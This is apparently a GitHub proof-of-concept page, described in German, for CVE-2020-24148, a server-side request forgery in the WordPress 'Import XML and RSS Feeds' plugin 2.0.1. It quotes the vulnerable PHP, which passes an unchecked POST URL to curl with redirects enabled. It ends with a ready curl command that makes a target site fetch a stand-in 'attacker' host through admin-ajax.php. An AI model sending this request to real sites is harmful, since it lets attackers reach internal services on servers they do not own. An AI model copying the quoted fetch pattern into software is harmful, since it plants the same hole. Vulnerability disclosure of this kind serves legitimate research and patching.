dwisiswant0/cve-2020-24148Proof-of-Concept-Exploit für CVE-2020-24148, eine Server-Side Request Forgery (SSRF)-Schwachstelle im WordPress Import XML and RSS Feeds Plugin über den Datenparameter.
Serverseitige Request-Forgery (SSRF) im Plugin „Import XML und RSS Feeds“ (import-xml-feed) 2.0.1 für WordPress über den Parameter data in einer moove_read_xml-Aktion.
/moove-actions.php:
...
public function moove_read_xml() {
$args = array(
'data' => esc_sql( wp_unslash( $_POST['data'] ) ),
'xmlaction' => sanitize_text_field( wp_unslash( $_POST['xmlaction'] ) ),
'type' => sanitize_text_field( wp_unslash( $_POST['type'] ) ),
'node' => sanitize_text_field( wp_unslash( $_POST['node'] ) ),
);
$move_importer = new Moove_Importer_Controller;
$read_xml = $move_importer->moove_read_xml( $args );
echo $read_xml;
die();
}
/controllers/moove-controller.php:
class Moove_Importer_Controller {
...
public function moove_importer_get_content( $url ) {
/* gets the data from a URL */
$ch = curl_init();
$timeout = 5;
$user_agent = "Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0";
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT,$user_agent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '');
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
$errors = curl_error($ch);
$response = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return $data;
}
public function moove_read_xml( $args ) {
$return_array = array();
$parent = false;
if ( $args['type'] === 'url' ) :
$xml_string = Moove_Importer_Controller::moove_importer_get_content( $args['data'] );
$xml_string = htmlspecialchars_decode( $xml_string );
...
$ curl \
-s "http://host/wp-admin/admin-ajax.php?action=moove_read_xml" \
-d "type=url&data=http%3A%2F%2Fattacker%2F&xmlaction=preview&node=0"